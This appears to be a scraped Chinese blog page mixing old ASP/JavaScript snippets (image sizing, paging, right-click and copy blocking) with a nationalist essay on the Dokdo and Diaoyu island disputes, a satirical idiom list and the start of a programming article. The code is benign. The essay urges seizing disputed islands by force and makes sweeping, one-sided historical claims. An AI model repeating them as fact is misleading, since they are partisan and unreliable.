"BMP" Width = lngConvert(GetBytes(flnm, 19, 2)) Height = lngConvert(GetBytes(flnm, 23, 2)) Depth = 2 ^ (asc(GetBytes(flnm, 29, 1))) gfxSpex = True elseif strType = strPNG then ' Is PNG strImageType = "PNG" Width = lngConvert2(GetBytes(flnm, 19, 2)) Height = lngConvert2(GetBytes(flnm, 23, 2)) Depth = getBytes(flnm, 25, 2) select case asc(right(Depth,1)) case 0 Depth = 2 ^ (asc(left(Depth, 1))) gfxSpex = True case 2 Depth = 2 ^ (asc(left(Depth, 1)) * 3) gfxSpex = True case 3 Depth = 2 ^ (asc(left(Depth, 1))) '8 gfxSpex = True case 4 Depth = 2 ^ (asc(left(Depth, 1)) * 2) gfxSpex = True case 6 Depth = 2 ^ (asc(left(Depth, 1)) * 4) gfxSpex = True case else Depth = -1 end select
else strBuff = GetBytes(flnm, 0, -1) ' Get all bytes from file lngSize = len(strBuff) flgFound = 0 strTarget = chr(255) & chr(216) & chr(255) flgFound = instr(strBuff, strTarget) if flgFound = 0 then exit function end if strImageType = "JPG" lngPos = flgFound + 2 ExitLoop = false do while ExitLoop = False and lngPos < lngSize
do while asc(mid(strBuff, lngPos, 1)) = 255 and lngPos < lngSize lngPos = lngPos + 1 loop if asc(mid(strBuff, lngPos, 1)) < 192 or asc(mid(strBuff, lngPos, 1)) > 195 then lngMarkerSize = lngConvert2(mid(strBuff, lngPos + 1, 2)) lngPos = lngPos + lngMarkerSize + 1 else ExitLoop = True end if loop ' if ExitLoop = False then Width = -1 Height = -1 Depth = -1 else Height = lngConvert2(mid(strBuff, lngPos + 4, 2)) Width = lngConvert2(mid(strBuff, lngPos + 6, 2)) Depth = 2 ^ (asc(mid(strBuff, lngPos + 8, 1)) * 8) gfxSpex = True end if
end if end function
'::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: '::: Test Harness ::: ':::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
' To test, we'll just try to show all files with a .GIF extension in the root of C: Set objFSO = CreateObject("scripting.FileSystemObject") Set objF = objFSO.GetFolder("c:\") Set objFC = objF.Files response.write "<table border=""0"" cellpadding=""5"">" For Each f1 in objFC if instr(ucase(f1.Name), ".GIF") then response.write "<tr><td>" & f1.name & "</td><td>" & f1.DateCreated & "</td><td>" & f1.Size & "</td><td>" if gfxSpex(f1.Path, w, h, c, strType) = true then response.write w & " x " & h & " " & c & " colors" else response.write " " end if response.write "</td></tr>" end if Next response.write "</table>" set objFC = nothing set objF = nothing set objFSO = nothing
%>
22.点击返回上页代码: <form> <p><input TYPE="button" value="返回上一步" onCLICK="history.back(-1)"></p> </form>
23.点击刷新代码: <form> <p><input TYPE="button" value="刷新按钮一"onCLICK="ReloadButton()"></p> </form> <script language="javascript"><!-- function ReloadButton(){location.href="allbutton.htm";} // --></script>
24.点击刷新代码2: <form> <p><input TYPE="button" value="刷新按钮二" onClic="history.go(0)"> </p> </form>
<form> <p><input TYPE="button" value="打开一个网站" onCLICK="HomeButton()"></p> </form> <script language="javascript"><!-- function HomeButton(){location.href="http://nettrain.126.com";;;;} // --></script>
25.弹出警告框代码: <form> <p><input TYPE="button" value="弹出警告框" onCLICK="AlertButton()"></p> </form> <script language="javascript"><!-- function AlertButton(){window.alert("要多多光临呀!");} // --></script>
26.状态栏信息 <form> <p><input TYPE="button" value="状态栏信息" onCLICK="StatusButton()"></p> </form> <script language="javascript"><!-- function StatusButton(){window.status="要多多光临呀!";} // --></script>
27.背景色变换 <form> <p><input TYPE="button" value="背景色变换" onClick="BgButton()"></p> </form> <script> function BgButton(){ if (document.bgColor=='#00ffff') {document.bgColor='#ffffff';} else{document.bgColor='#00ffff';} } </script>
28.点击打开新窗口 <form> <p><input TYPE="button" value="打开新窗口" onCLICK="NewWindow()"></p> </form> <script language="javascript"><!-- function NewWindow(){window.open("http://www.mcmx.com";;;,"","height=240,width=340,status=no,location=no,toolbar=no,directories=no,menubar=no");} // --></script></body> 29.分页代码: <%''本程序文件名为:Pages.asp%> <%''包含ADO常量表文件adovbs.inc,可从"\Program Files\Common Files\System\ADO"目录下拷贝%> <!--#Include File="adovbs.inc"--> <%''*建立数据库连接,这里是Oracle8.05数据库 Set conn=Server.CreateObject("ADODB.Connection") conn.Open "Provider=msdaora.1;Data Source=YourSrcName;User ID=YourUserID;Password=YourPassword;"
Set rs=Server.CreateObject("ADODB.Recordset") ''创建Recordset对象 rs.CursorLocation=adUseClient ''设定记录集指针属性 ''*设定一页内的记录总数,可根据需要进行调整 rs.PageSize=10
''*设置查询语句 StrSQL="Select ID,姓名,住址,电话 from 通讯录 Order By ID" rs.Open StrSQL,conn,adOpenStatic,adLockReadOnly,adCmdText %> <HTML> <HEAD> <title>分页示例</title> <script language=javascript> //点击"[第一页]"时响应: function PageFirst() { document.MyForm.CurrentPage.selectedIndex=0; document.MyForm.CurrentPage.onchange(); } //点击"[上一页]"时响应: function PagePrior() { document.MyForm.CurrentPage.selectedIndex--; document.MyForm.CurrentPage.onchange(); } //点击"[下一页]"时响应: function PageNext() { document.MyForm.CurrentPage.selectedIndex++; document.MyForm.CurrentPage.onchange(); } //点击"[最后一页]"时响应: function PageLast() { document.MyForm.CurrentPage.selectedIndex=document.MyForm.CurrentPage.length-1; document.MyForm.CurrentPage.onchange(); } //选择"第?页"时响应: function PageCurrent() { //Pages.asp是本程序的文件名 document.MyForm.action='Pages.asp?Page='+(document.MyForm.CurrentPage.selectedIndex+1) document.MyForm.submit(); } </script> </HEAD> <BODY bgcolor="#ffffcc" link="#008000" vlink="#008000" alink="#FF0000"">
<%IF rs.Eof THEN Response.Write("<font size=2 color=#000080>[数据库中没有记录!]</font>") ELSE ''指定当前页码 If Request("CurrentPage")="" Then rs.AbsolutePage=1 Else rs.AbsolutePage=CLng(Request("CurrentPage")) End If
''创建表单MyForm,方法为Get Response.Write("<form method=Get name=MyForm>") Response.Write("<p align=center><font size=2 color=#008000>") ''设置翻页超链接 if rs.PageCount=1 then Response.Write("[第一页] [上一页] [下一页] [最后一页] ") else if rs.AbsolutePage=1 then Response.Write("[第一页] [上一页] ") Response.Write("[<a href=java script:PageNext()>下一页</a>] ") Response.Write("[<a href=java script:PageLast()>最后一页</a>] ") else if rs.AbsolutePage=rs.PageCount then Response.Write("[<a href=java script:PageFirst()>第一页</a>] ") Response.Write("[<a href=java script:PagePrior()>上一页</a>] ") Response.Write("[下一页] [最后一页] ") else Response.Write("[<a href=java script:PageFirst()>第一页</a>] ") Response.Write("[<a href=java script:PagePrior()>上一页</a>] ") Response.Write("[<a href=java script:PageNext()>下一页</a>] ") Response.Write("[<a href=java script:PageLast()>最后一页</a>] ") end if end if end if
''创建下拉列表框,用于选择浏览页码 Response.Write("第<select size=1 name=CurrentPage onchange=PageCurrent()>") For i=1 to rs.PageCount if rs.AbsolutePage=i then Response.Write("<option selected>"&i&"</option>") ''当前页码 else Response.Write("<option>"&i&"</option>") end if Next Response.Write("</select>页/共"&rs.PageCount&"页 共"&rs.RecordCount&"条记录</font><p>") Response.Write("</form>")
''创建表格,用于显示 Response.Write("<table align=center cellspacing=1 cellpadding=1 border=1") Response.Write(" bordercolor=#99CCFF bordercolordark=#b0e0e6 bordercolorlight=#000066>")
Response.Write("<tr bgcolor=#ccccff bordercolor=#000066>")
Set Columns=rs.Fields
''显示表头 For i=0 to Columns.Count-1 Response.Write("<td align=center width=200 height=13>") Response.Write("<font size=2><b>"&Columns(i).name&"</b></font></td>") Next Response.Write("</tr>") ''显示内容 For i=1 to rs.PageSize Response.Write("<tr bgcolor=#99ccff bordercolor=#000066>") For j=0 to Columns.Count-1 Response.Write("<td><font size=2>"&Columns(j)&"</font></td>") Next Response.Write("</tr>")
rs.movenext if rs.EOF then exit for Next
Response.Write("</table>")
END IF %> </BODY> </HTML>
40种网页常用小技巧(JavaScript) 1. oncontextmenu="window.event.returnValue=false" 将彻底屏蔽鼠标右键 <table border oncontextmenu=return(false)><td>no</table> 可用于Table
2. <body onselectstart="return false"> 取消选取、防止复制
3. onpaste="return false" 不准粘贴
4. oncopy="return false;" oncut="return false;" 防止复制
5. <link rel="Shortcut Icon" href="favicon.ico"> IE地址栏前换成自己的图标
6. <link rel="Bookmark" href="favicon.ico"> 可以在收藏夹中显示出你的图标
7. <input style="ime-mode:disabled"> 关闭输入法
8. 永远都会带着框架 <script language="JavaScript"><!-- if (window == top)top.location.href = "frames.htm"; //frames.htm为框架网页 // --></script>
9. 防止被人frame <SCRIPT LANGUAGE=JAVASCRIPT><!-- if (top.location != self.location)top.location=self.location; // --></SCRIPT>
10. 网页将不能被另存为 <noscript><iframe src=*.html></iframe></noscript>
11. <input type=button value=查看网页源代码 onclick="window.location = "view-source:"+ "http://www.pconline.com.cn"">
12.删除时确认 <a href="javascript:if(confirm("确实要删除吗?"))location="boos.asp?&areyou=删除&page=1"">删除</a>
13. 取得控件的绝对位置 //Javascript <script language="Javascript"> function getIE(e){ var t=e.offsetTop; var l=e.offsetLeft; while(e=e.offsetParent){ t+=e.offsetTop; l+=e.offsetLeft; } alert("top="+t+"/nleft="+l); } </script>
//VBScript <script language="VBScript"><!-- function getIE() dim t,l,a,b set a=document.all.img1 t=document.all.img1.offsetTop l=document.all.img1.offsetLeft while a.tagName<>"BODY" set a = a.offsetParent t=t+a.offsetTop l=l+a.offsetLeft wend msgbox "top="&t&chr(13)&"left="&l,64,"得到控件的位置" end function --></script>
14. 光标是停在文本框文字的最后 <script language="javascript"> function cc() { var e = event.srcElement; var r =e.createTextRange(); r.moveStart("character",e.value.length); r.collapse(true); r.select(); } </script> <input type=text name=text1 value="123" onfocus="cc()">
15. 判断上一页的来源 javascript: document.referrer
16. 最小化、最大化、关闭窗口 <object id=hh1 classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"> <param name="Command" value="Minimize"></object> <object id=hh2 classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"> <param name="Command" value="Maximize"></object> <OBJECT id=hh3 classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"> <PARAM NAME="Command" VALUE="Close"></OBJECT> <input type=button value=最小化 onclick=hh1.Click()> <input type=button value=最大化 onclick=hh2.Click()> <input type=button value=关闭 onclick=hh3.Click()> 本例适用于IE
17.屏蔽功能键Shift,Alt,Ctrl <script> function look(){ if(event.shiftKey) alert("禁止按Shift键!"); //可以换成ALT CTRL } document.onkeydown=look; </script>
18. 网页不会被缓存 <META HTTP-EQUIV="pragma" CONTENT="no-cache"> <META HTTP-EQUIV="Cache-Control" CONTENT="no-cache, must-revalidate"> <META HTTP-EQUIV="expires" CONTENT="Wed, 26 Feb 1997 08:21:57 GMT"> 或者<META HTTP-EQUIV="expires" CONTENT="0">
19.怎样让表单没有凹凸感? <input type=text style="border:1 solid #000000"> 或 <input type=text style="border-left:none; border-right:none; border-top:none; border-bottom:
1 solid #000000"></textarea>
20.<div><span>&<layer>的区别? <div>(division)用来定义大段的页面元素,会产生转行 <span>用来定义同一行内的元素,跟<div>的唯一区别是不产生转行 <layer>是ns的标记,ie不支持,相当于<div>
21.让弹出窗口总是在最上面: <body onblur="this.focus();">
22.不要滚动条? 让竖条没有: <body style="overflow:scroll;overflow-y:hidden"> </body> 让横条没有: <body style="overflow:scroll;overflow-x:hidden"> </body> 两个都去掉?更简单了 <body scroll="no"> </body>
23.怎样去掉图片链接点击后,图片周围的虚线? <a href="#" onFocus="this.blur()"><img src="logo.jpg" border=0></a>
24.电子邮件处理提交表单 <form name="form1" method="post" action="mailto:****@***.com" enctype="text/plain"> <input type=submit> </form>
25.在打开的子窗口刷新父窗口的代码里如何写? window.opener.location.reload()
26.如何设定打开页面的大小 <body onload="top.resizeTo(300,200);"> 打开页面的位置<body onload="top.moveBy(300,200);">
27.在页面中如何加入不是满铺的背景图片,拉动页面时背景图不动 <STYLE> body {background-image:url(logo.gif); background-repeat:no-repeat; background-position:center;background-attachment: fixed} </STYLE>
28. 检查一段字符串是否全由数字组成 <script language="Javascript"><!-- function checkNum(str){return str.match(//D/)==null} alert(checkNum("1232142141")) alert(checkNum("123214214a1")) // --></script>
29. 获得一个窗口的大小 document.body.clientWidth; document.body.clientHeight
30. 怎么判断是否是字符 if (/[^/x00-/xff]/g.test(s)) alert("含有汉字"); else alert("全是字符");
31.TEXTAREA自适应文字行数的多少 <textarea rows=1 name=s1 cols=27 onpropertychange="this.style.posHeight=this.scrollHeight"> </textarea> 32. 日期减去天数等于第二个日期 <script language=Javascript> function cc(dd,dadd) { //可以加上错误处理 var a = new Date(dd) a = a.valueOf() a = a - dadd * 24 * 60 * 60 * 1000 a = new Date(a) alert(a.getFullYear() + "年" + (a.getMonth() + 1) + "月" + a.getDate() + "日") } cc("12/23/2002",2) </script>
33. 选择了哪一个Radio <HTML><script language="vbscript"> function checkme() for each ob in radio1 if ob.checked then window.alert ob.value next end function </script><BODY> <INPUT name="radio1" type="radio" value="style" checked>Style <INPUT name="radio1" type="radio" value="barcode">Barcode <INPUT type="button" value="check" onclick="checkme()"> </BODY></HTML>
34.脚本永不出错 <SCRIPT LANGUAGE="JavaScript"> <!-- Hide function killErrors() { return true; } window.onerror = killErrors; // --> </SCRIPT>
35.ENTER键可以让光标移到下一个输入框 <input onkeydown="if(event.keyCode==13)event.keyCode=9">
36. 检测某个网站的链接速度: 把如下代码加入<body>区域中: <script language=Javascript> tim=1 setInterval("tim++",100) b=1 var autourl=new Array() autourl[1]="www.njcatv.net" autourl[2]="javacool.3322.net" autourl[3]="www.sina.com.cn" autourl[4]="www.nuaa.edu.cn" autourl[5]="www.cctv.com" function butt(){ document.write("<form name=autof>") for(var i=1;i<autourl.length;i++) document.write("<input type=text name=txt"+i+" size=10 value=测试中……> =》<input type=text name=url"+i+" size=40> =》<input type=button value=GO
onclick=window.open(this.form.url"+i+".value)><br>") document.write("<input type=submit value=刷新></form>") } butt() function auto(url){ document.forms[0]["url"+b].value=url if(tim>200) {document.forms[0]["txt"+b].value="链接超时"} else {document.forms[0]["txt"+b].value="时间"+tim/10+"秒"} b++ } function run(){for(var i=1;i<autourl.length;i++)document.write("<img src=http://"+autourl+"/"+Math.random()+" width=1 height=1
onerror=auto("http://"+autourl+"")>")} run()</script>
37. 各种样式的光标 auto :标准光标 default :标准箭头 hand :手形光标 wait :等待光标 text :I形光标 vertical-text :水平I形光标 no-drop :不可拖动光标 not-allowed :无效光标 help :?帮助光标 all-scroll :三角方向标 move :移动标 crosshair :十字标 e-resize n-resize nw-resize w-resize s-resize se-resize sw-resize
38.页面进入和退出的特效 进入页面<meta http-equiv="Page-Enter" content="revealTrans(duration=x, transition=y)"> 推出页面<meta http-equiv="Page-Exit" content="revealTrans(duration=x, transition=y)"> 这个是页面被载入和调出时的一些特效。duration表示特效的持续时间,以秒为单位。transition表示使用哪种特效,取值为1-23: 0 矩形缩小 1 矩形扩大 2 圆形缩小 3 圆形扩大 4 下到上刷新 5 上到下刷新 6 左到右刷新 7 右到左刷新 8 竖百叶窗 9 横百叶窗 10 错位横百叶窗 11 错位竖百叶窗 12 点扩散 13 左右到中间刷新 14 中间到左右刷新 15 中间到上下 16 上下到中间 17 右下到左上 18 右上到左下 19 左上到右下 20 左下到右上 21 横条 22 竖条 23 以上22种随机选择一种
39.在规定时间内跳转 <META http-equiv=V="REFRESH" content="5;URL=http://www.51js.com">
40.网页是否被检索 <meta name="ROBOTS" content="属性值"> 其中属性值有以下一些: 属性值为"all": 文件将被检索,且页上链接可被查询; 属性值为"none": 文件不被检索,而且不查询页上的链接; 属性值为"index": 文件将被检索; 属性值为"follow": 查询页上的链接; 属性值为"noindex": 文件不检索,但可被查询链接; 属性值为"nofollow": 文件不被检索,但可查询页上的链接。 转自: http://www.zhanling.com/zhanling/qiu/blogview.asp?logID=88&cateID=3 |
|
独岛的光荣与中国钓鱼岛的痛
|
一、大智若愚还是大愚若智?
一直以来,中国都被周围国家认为是个巨大的威胁。中国的崛起过程屡受“中国危胁论”困扰。 然而,天日昭昭,世界古代历史上找不出比中国更善良的大国,中国的善良已经可以被称为懦弱。从秦始皇时代起,中国人的对外关系史就是一部防御史,长城可以做证。历史上很多时候,中国需要用宝贵的粮食、丝绸甚至公主来换取和平。至于“黄祸”,那是游牧民族的光荣或者罪恶,中国不过是诸多被摧残者之一,把帐算到中国头上实在是本末倒置。在有记载以来的对外关系史中,中国一直奉行“厚往薄来”政策,朝贡关系实际上是中国用本国人民的血汗劳动换取一个虚无的面子,它给中国带来心理上的愚蠢的满足,给另一方的却是巨大得惊人的利润。 近现代史上,也找不出中国这样心慈手软顾全大局凡事忍让的模范国家。拼光了家底惨胜日本之后,大陆和台湾立刻争先恐后地向日本人表现“以德报怨”的慷慨大度。中印战争中印度军队一触即溃,四散奔逃,第二天却发现中国军队已经退回自己境内,并且把俘虏的军车擦得锃明瓦亮,完璧奉还。在南海诸岛争端、钓鱼岛争端中,别的国家纷纷出动军舰,果断地进行武力占领,中国却安于由“人大”发表几句严正声明。华人在印尼被屠杀,其惨无人道令全世界发指,唯有中国政府一声不吭。在本国人民忍饥挨饿的时候,中国的大米被源源不断地送到别的国家,用来结交第三世界朋友。 在全世界对中国的种种做法大惑不解的时候,中国却在暗暗冷笑,冷笑这些国家的惊讶。也不怪它们,它们才有几百年的历史!它们出过几个哲人!它们懂得什么叫“大智若愚”吗?它们懂什么“上善若水”吗?它们懂得“人心向背决定斗争的胜败”吗?它们的语言里有“忍一时风平浪静,退三分何等清闲”这样的闪光字句吗?那些动不动就把“某国的利益”挂在嘴边的国家是何等地愚蠢啊,它们为了一时的小利,互不相让,刀兵相见,短视无知!它们如果翻翻中国古书,就会发现他们实行的是“霸道”,必定会败在“耻于言利”的“王道”脚下。中国的政策表面上看起来软弱,实际上却是无比强大,如太极拳一样,无形无迹,绵里藏针。中国目光远大,心胸宽广。总有一天,大家会看到中国是毫不利已,专门利人的,中国就是国际上的雷锋。总有一天,我们会感动他们,让他们放弃争夺,倾心向化,拥戴中国为领袖,在中国的带领下,一起建立全世界的美好明天。所以,在别人越是喊“中国威胁论”的时候,我们就越是要老老实实,安安分分,让事实戳穿那些别有用心的谣言吧! 然而,事实却让中国一再尴尬。中国的忍让似乎没有感动任何人。日本人得了便宜还卖乖,说什么也不肯向中国道歉,还动不动搞一些参拜靖国神社、修改教课书之类的小动作刺激中国。印度人更是老实不客气。既然中国人退了回去,我就当仁不让把你的领土改成我国的一个邦。然后我还要试射原子弹,并且向全世界公布就是为了针对中国。中国地图上的南海诸岛其实大半已经被其它国家实际控制了,举世瞩目的钓鱼岛上,飘扬着的也是日本太阳旗。至于援助他国的大米,有的居然在后来被用做与中国军队作战时的沙袋。
二、韩国人给我们上了一课。
类似中日钓鱼岛这样的争端,其实早在韩日之间上演过。 韩日之间,有一个小岛,长不过200米,全是礁石,不生草木。韩国人称之为独岛,日本人命名叫竹岛。这个小岛在韩日关系中的地位,恰如中日之间的钓鱼岛。二战前,日本占有该岛,独立之后的韩国宣布对该岛拥有主权。 日本人保卫领土的决心在钓鱼岛问题上给中国人留下了深刻的印象,而当初他们也是以这样的决心去保卫竹岛。他们把这一问题写进教课书,并且在一切可能场合宣布自己对竹岛的主权。与此同时,1953年5月,日本右翼人士趁韩战正酣,登上了这个无人小岛,修建了标志物。 这一切,与日本人在钓鱼岛问题上的做法如出一辙。只不过当初他们遇到的是刚直的韩国人而不是智慧的中国人。中国在类似的情况下选择了“顾全中日关系大局”的做法,仅仅发出抗议,听任日本人出动军舰对钓鱼岛的实际占领,并且严厉镇压国内的保钓人士,以防他们做出“过激”行动。 而韩国人是怎么做的呢? 在日本人登上独岛之后,一个23岁的韩国青年洪淳七趁韩战进行间枪支管理不严,通过非法手段采购了一批枪支,召集几个热血青年,渡海登上了独岛,赶走了日本人,在岛上升起了第一面韩国国旗。 在那之后,洪淳七靠着一杆步枪,独自一人,守卫独岛三年八个月之久。在他的日记里,载着无数次和日本舰艇、渔船对峙的记录。直到1956年,韩国政府从韩战中脱身出来,派出海上警察守备队上岛,洪淳七才结束了神圣的“守土护国大业”。韩国政府没有惩罚他的“无组织无纪律”行为,反而颁发勋章,表扬他的爱国行为。 目前,韩国军队已牢牢控制了这个小岛。韩国在独岛长年派驻34名警察,同时配置了驱逐舰、快艇、直升机,随时戒备日本渔船和海军舰艇的侵犯,令日本船只不敢轻易越过雷池一步。日本人除了口头抗议,别无他法。 我写过一些关于韩国文化韩国精神的文字,网友的评论里有许多指责我对韩国精神的揄扬,认为是夸大其辞。可惜,在抗日战争中我们没有出现过安重根,在抗日战争后我们没有出现过洪淳七。 不知道有没有人注意到,在日本与周边国家的领土争端中,只有对中国占有上风。面对北方四岛和竹岛的被占,日本人都不得不忍气吞生。
三、“太智慧”的中国人和“太冲动”的韩国人
不管中国人的做法是否真的智慧,韩国人的一些做法看起来确乎太冲动、太孟浪、太不理智。 每个人都知道韩国的崛起和繁荣离不开日本。韩国和日本还同属美日韩军事政治同盟。韩国对日本的依赖远大于中国对日本的需要。可是韩国人从不掩饰对日本的仇恨,在对日关系上从来不会因为顾全大局而做任何让步。他们表达对死不认错的日本人的愤怒,从来是点火就着,怎么激烈怎么来。日本那边在历史问题上稍稍做一点手脚,韩国这边立刻就烈火燎原,杀声振天。小泉参拜靖国神社后,20名身披国旗的韩国青年聚集地汉城的“独立门公园”,大声抗议后用刀把自己的小指头剁下,装在信封里寄往日本驻韩国大使馆。九名韩国人集体绝食,要求日本道歉。韩国政府立刻采取最为强硬的外交行动,召回驻日大使。无数韩国人上街烧毁日本国旗,开展抵制日货行动。 而中国人呢?还是人大发展声明。同时对民间舆论大力压制,有的网站怕惹麻烦,发表声明:本站不欢迎对日话题,见贴即删。 韩国人不会象中国人那样地别出心裁,把日本人分为一小撮战犯和广大善良的日本人民。他们恨所有日本人,甚至恨乌及屋,拒绝日本人的一切。在韩国,如果谁买了一辆日本汽车,过不了几天,这辆车的玻璃、轮胎、外壳就会一一被人砸坏。在韩国的香烟摊上,往往帖着“不吸日本烟”的标语。韩国政府立法限制日本流行文化在韩国人传播,不许韩国人看日本电影,听日本歌曲。在赵薇用日本军旗装作自己的装饰时,韩国名星金喜善却因为有人要求她用日语道别而被激怒。 在中国政府声明对日索赔是个人行为,政府不加评论的同时,1992年,韩国外长李相玉明确要求日本政府向战争受害者及其家属进行赔偿,韩国政府为此成立了解决该问题的专门班子。 在中国学者提出支持日本成为安理会常任理事国前后,韩国国会全体通过决议,敦促政府展开运动,阻止日本成为常任理事国。 在所有对日争议中,韩国人和韩国政府都是,针锋相对,寸步不让。 按照中国人的判断,这些举动都是属于小不忍则乱大谋,都是属于给两国关系制造麻烦,都是不理智、不沉着、不智慧,势必影响两国政治关系的大局,势必损坏日韩经济贸易关系,到头来害了自己。 奇怪的是,韩国人的刚烈居然并没有影响韩日关系的“大局”。日本人频频向韩国人示好,日韩经贸关系飞速发展。早在1995年,双边贸易额已达485亿美元。两国还一起举办了世界杯。 更为奇怪的是,死不道歉的日本人居然单单向韩国人道了歉!1992年,日本首相宫泽喜一在出访汉城的三天里,先后8次表示谢罪。1998年,韩国总统金大中对日本进行了为期4天的访问。访问期间日韩发表了联合宣言,日本首次承认了对韩国的侵略,并正式道歉。 时隔不久,中国国家元首正式访日,由于日本对韩道歉在先,国人普遍认为日本会对华道歉。然而,中国国家元首逗留日本多日,日本人坚拒向中国道歉。中国政府颜面丧尽。 这一次,中国人的外交智慧不但世界看不懂,连中国人自己也看不懂了。
四、“宋襄公主义”的根源
耻于言利是中国传统。 中国人其实不是不要利益,中国人要的是“利益最大化”。怎么才能达到利益最大化呢?那就是“仁义”。“欲先取之,必先予之”,“水能利万物而不争,故能胜”。要想做成大事,就要树立自己“仁义”的形象,以此来感化他人,征服他人,使人乐于为已所用。“仁义”的诀窍就是“吃小亏占大便宜”,用自己一时的退让、牺牲,来换取牢固的声誉,换取他人无条件的信任,以利于开基立业。所以,历代群雄纷征之时,那些杰出人物总是要克制自己一时的欲望,祭出仁义的大旗,把自己的军队包装成“仁义之师”,“吊民伐罪”。所以刘帮进咸阳时先要约法三章,刘备败走时浩浩荡荡地带着逃难的百姓,李自成定天下时提出“迎闯王不纳粮”。 做为最精通中国社会运转奥秘的伟人,毛 东对“王道”、“仁义”的运用达到了最出神入化的地步。红军和共产党,正是因为自己“上门板”,“睡大街”,“不拿群众一针一线”,因为自己“艰苦卓绝”、“关心群众”,因为自己的“忍辱负重”、“坚忍为国”,因为自己无与伦比的牺牲精神,才逐渐打破了共产共妻的反动宣传,一点点地感动了斯诺、史沫特莱,感动了鲁迅、闻一多、沈钧儒,一步步地赢得了全国人民的真诚拥护,最终夺取了政权。 开国之后,正如同把军事斗争经验运用于经济建设一样,毛主席把思想政治宣传工作经验运用到了国际斗争之中。他试图用中国人民令人吃惊的自我牺牲精神、坚忍为公精神来感动世界,在国际社会来个农村包围城市,团结带领第三世界国家来争取世界革命的伟大胜利,使自己超越马恩列斯,成为人类史上最伟大的人物。所以,他的外交路线中没有绝不许提“国家利益”,在中国人成批饿死的时候,一艘艘载满粮食的大船驶往世界各地的第三世界兄弟国家,在与周围所有国家的争端中,中国都是高姿态、大气度。 然而,国际社会就是一个巨大的利益角斗场,一个巨大的利益交换市场。国际社会并不是中国社会,中国人的那一套迂回曲折在大智慧在这里是对牛弹琴。国际社会的规则是赤裸裸的,直截了当的,如果你不按利益原则出牌,那么你所得到只有损失和失败。在这里,任何的无私奉献,任何的过度忍让,最终都会伤害自己。 在国际上,做“活雷锋”,历来没有好下场。早在明朝万历年间,日本侵略朝鲜,中国派出重兵,以惨重的牺牲,保卫了朝鲜。然而,时至今日,韩国和朝鲜的历史书中记载得更多的,不是中国军人的大量死亡,而是一些不守军纪者在朝鲜的抢掠奸淫。同样,抗美援朝过去四十年后,朝鲜人已经忘了是中国人主导了那场战争。在他们自己的教科书中,那场战争的绝对主角是在他们伟大领袖的领导下的朝鲜军队,中国人似乎没帮上什么有用的忙。我们对印度人的大度,只换来了印度人更大的耻辱感和对中国人更深刻的仇恨。直至今日,印度人还是把中国看做最大的危胁。而中国人对印尼排华事件的一声不吭,则更引起了东南亚各国的疑惧,他们普遍以为中国人沉默的背后,会是“君子报仇,十年不晚”的巨大决心。在领土问题上,中国越是示弱,别人就越是疑惧,他们不能相信一个如此巨大的国家会真的如此软弱。中国人的“活雷锋”行动除了让大家不解外,并没有换来任何好处,也没有交下一个真心朋友。反倒是动不动把“美国的国家利益”挂在嘴边,欠缴联合国会费,不见兔子不撒鹰的美国,在国际上纠集了一帮铁杆哥们,横行霸道,呼风唤雨。 我们不知道这个世界是否会最终走向大同。不过,从有国家起的远古,到可以预见的将来,决定国与国之间关系走向的都会是实力原则和利益原则,而不是什么虚无缥缈的“道义”。
五、对钓鱼岛问题的重新思索
领土争端,历来是谁先下手谁主动,土地在谁手中谁主动。这是由实力原则派生出的一条铁的规律。中印战争中,虽然印度一败涂地,但结果是印度人更牢固地控制了那片相当于三个台湾的肥美土地。除了再来一场大战,任何人也不会相信中国人有其他办法要回那片土地。而现在的印度军队与六二年已不可同日而语,再打一场战争,中国将付出百倍代价。在南沙诸岛的争夺中,中国军队趁越南南北战争无暇顾及而占领了其中一些岛屿。现在想来,那是何等英明的决断。机不可失,失不再来,试想北越统一后的今天,中国再想占领这些岛屿,将付出多么大的牺牲。而现在,越南除了把那些岛屿画在地图上过过嘴瘾,又有什么办法呢?独岛之争就是一个最好的启示。如果当初我们象韩国人占领独岛一样果断占有钓鱼岛,日本人也只能象在独岛问题上一样,发发抗议,喊喊口号罢了,何至于今日,这个小岛成为全民族的伤口。 事实上,在钓鱼岛问题上,日本人的策略比我们高明得太多。日本人放任那些右翼分子上岛进行疯狂表演,在“民主、自由”的招牌下纵容他们在岛上建立灯塔、木旗、石碑、神柱乃至简易机场来宣示主权,进行实际占有。然后日本政府再从占有者手中进行租借,神不知鬼不觉地实行了军事占领。 而中国呢,一开始是自己主动退到了中线,宣布搁置争议,实际上就是示弱。然后在日本人并不与你同样“搁置”的时候,迟迟不敢采取果断措施,而是满足于连篇累牍地发表我们的历史证据,发展到最后连日本人都承认了:对,这个岛是你们先发现的,可是现在在我手里,你用嘴是夺不去的。 更让人难以理解的,是中国政府严厉禁止民间保钓行动。从晚清以来形成的固定思维让李鸿章的幽灵一直盘绕在中国外交决策者脑海。别惹人家!顾全大局!可惜的是,人家并不顾全大局。人家做的是实实在在的功夫,我们品尝到的是自鸦片战争以来不断品尝的苦果。 作者:ssln |
|
中国成语的正确书写
|
植树造零 白收起家 勤捞致富 选霸干部 任人唯闲 择油录取 得财兼币 检查宴收 大力支吃 为民储害 提钱释放 攻官小姐 爱名如子 酒精考验 明主选举 两袖勤俸 繁荣娼盛 一代痿人 秉功执法 私而后已 领导特色 人民政腐 饮酒吃职 失望工程 人民万税 |
|
程序员的七种武器
|
信息技术的发展时间虽然不长,但其爆炸式的发展速度使信息技术迅速覆盖社会和人类生活的各个角落。程序员们是这场信息化浪潮的见证者之一,更是其中的主要参与者,这是时代赋予每个程序员的机会和责任。
信息技术的更新速度是惊人的,程序员的职业生涯则是一个要求不断学习的过程,永远不能固步自封。本人在工作期间曾看见过很多程序员只要有闲暇时间就浏览一些没有太大作用的网页,在网上聊天,打游戏,浪费了大量的时间,十分不可取。而另外一种情况是,IT技术的日新月异使很多程序员眼花缭乱,什么都想学,却又不知从何学起,今天看看这个,明天学学那个,贪多不熟。
虽然IT技术发展迅速,但很多技术都是有规律可循,一些基本的概念、原理和方法还很通用,可以举一反三。本人根据自己的体会和经验,向那些刚刚踏入IT行业的新程序员们或正在迷茫的程序员们推荐程序员必须掌握的七种武器,有了这七种武器,虽不敢说笑傲江湖,但将自己立于不败之地还是可以的。
第一种武器:开发工具
